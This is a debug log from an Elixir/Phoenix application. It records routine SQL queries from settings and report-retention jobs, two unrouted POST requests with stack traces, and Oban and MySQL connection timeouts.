[Fri Sep  4 00:46:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.4ms idle=1456.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 00:56:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.1ms queue=0.5ms idle=1311.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 01:00:00.263000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=1794.5ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 01:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 01:00:00.379000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.7ms idle=1786.4ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 01:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 01:06:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=2.1ms idle=1196.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 01:16:24.708000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=3.2ms idle=1017.0ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 01:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.9ms queue=0.1ms idle=1863.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 01:30:00.404000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=3.1ms idle=1495.8ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 01:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 01:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1671.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 01:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.1ms idle=1482.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 01:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1354.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 02:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1230.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 02:07:42.658000 2026] [Phoenix.Logger:info] [pid 2816631] [client 94.154.43.249:60454] POST /
[Fri Sep  4 02:07:42.697000 2026] [Plug.Debugger:debug] [pid 2816631] [client 94.154.43.249:60454] ** (Phoenix.Router.NoRouteError) no route found for POST / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 02:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1083.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 02:26:15.971000 2026] [Phoenix.Logger:info] [pid 2816631] [client 94.154.43.249:40522] POST /
[Fri Sep  4 02:26:16.051000 2026] [Plug.Debugger:debug] [pid 2816631] [client 94.154.43.249:40522] ** (Phoenix.Router.NoRouteError) no route found for POST / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 02:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1963.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 02:30:00.713000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.6ms idle=887.9ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 02:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 02:30:00.836000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.7ms idle=1009.6ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 02:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 02:36:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=2.0ms idle=1832.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 02:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1706.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 02:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1526.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 03:00:00.876000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=2.5ms idle=610.7ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 03:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 03:00:01.113000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=849.6ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 03:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 03:00:01.315000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=759.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 03:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 03:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1383.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 03:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1350.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 03:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1335.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 03:30:01.798000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms queue=0.1ms idle=1111.3ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 03:30:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 03:30:01.798000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms queue=0.1ms idle=866.5ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 03:30:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 03:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1322.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 03:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1303.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 03:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1286.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 04:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1276.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 04:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1258.1ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 04:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1235.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 04:30:00.336000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=837.5ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 04:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 04:30:00.564000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=1065.7ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 04:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 04:30:00.701000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=421.8ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 04:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 04:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1228.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 04:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1213.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 04:50:44.537000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 04:51:34.282000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 04:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1157.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 05:00:00.435000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.6ms idle=1851.4ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 05:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 05:01:00.706000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 05:01:05.363000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 05:01:05.707000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 05:01:10.379000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 05:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1196.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 05:13:53.757000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 05:13:58.758000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 05:14:01.183000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 05:14:03.591000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 05:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1956.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
